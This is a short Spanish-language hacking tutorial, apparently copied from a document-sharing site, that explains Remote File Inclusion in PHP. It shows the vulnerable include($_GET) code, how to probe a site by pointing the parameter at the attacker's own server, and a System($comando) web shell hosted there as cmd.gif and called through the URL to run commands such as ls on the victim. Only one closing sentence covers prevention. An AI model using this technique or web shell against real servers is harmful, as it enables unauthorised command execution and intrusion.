Está en la página 1de 3

- RFI AL COMPLETO En este artculo voy a explicar en qu consiste el bug RFI (Remote File Inclusion), el cul, permite a un atacante

la inclusin de ficheros remotos en el servidor. Este bug, es posible a un error en la programacin PHP, que hace que la pgina cargue un determinado archivo de la web que est contenido en una variable. El cdigo que hace posible esto, es el siguiente: <? include($_GET['variable']); ?>

Las webs con este bug, son fcilmente reconocibles, porque los links son del tipo: http://<url>/<archivo_vulnerable>?variable=<archivo> Supongamos que nos encontramos con una web, y vemos este tipo de enlace. Podemos comprobar si es vulnerable simplemente reemplazando <archivo> por una url con otro fichero. Si es vulnerable, deberamos poder ver el fichero de la url, en la pgina web. Ejemplo: - Original: (url: http://<server>/typetest/index.php?link=vor.php)

- Explotando RFI: (url: http://<server>/typetest/index.php?link=http://<miserver>/<miarchivo>)

Y como podemos ver en la imagen, visualizamos el archivo que le incluimos en la url. Lo realmente grave de este bug, es que, puesto que podemos incluir ficheros remotos, es que se puede incluir un fichero que ejecute cdigo arbitrario. Esto podemos hacerlo (aunque no es la nica forma) con el siguiente cdigo en Php: <? System($comando); ?> Este cdigo, debemos subirlo a nuestro servidor, y guardarlo con una extensin distinta a .php, ya que de no ser as, el comando que ejecutemos se ejecutar en nuestro servidor. Ahora, en la url debemos referirnos al fichero de la siguiente manera: - Llamada: http://<server>/typetest/index.php?link=http://<miserver>/cmd.gif?&cmd=<comando> Veamos un ejemplo del comando ls: - Listando: (url: http://<server>/typetest/index.php?link=http://<miserver>/cmd.gif?&cmd=ls)

Y ya podemos ejecutar cdigo arbitrario en el servidor. Para prevenir este tipo de ataque, solo tenemos que incluir los archivos de nuestra web directamente, en vez de mediante el contenido de la variable. /* - EOF - =================================================== - EOF - */ by Lympex http://l-bytes.tk && lympex[at]gmail[dot]com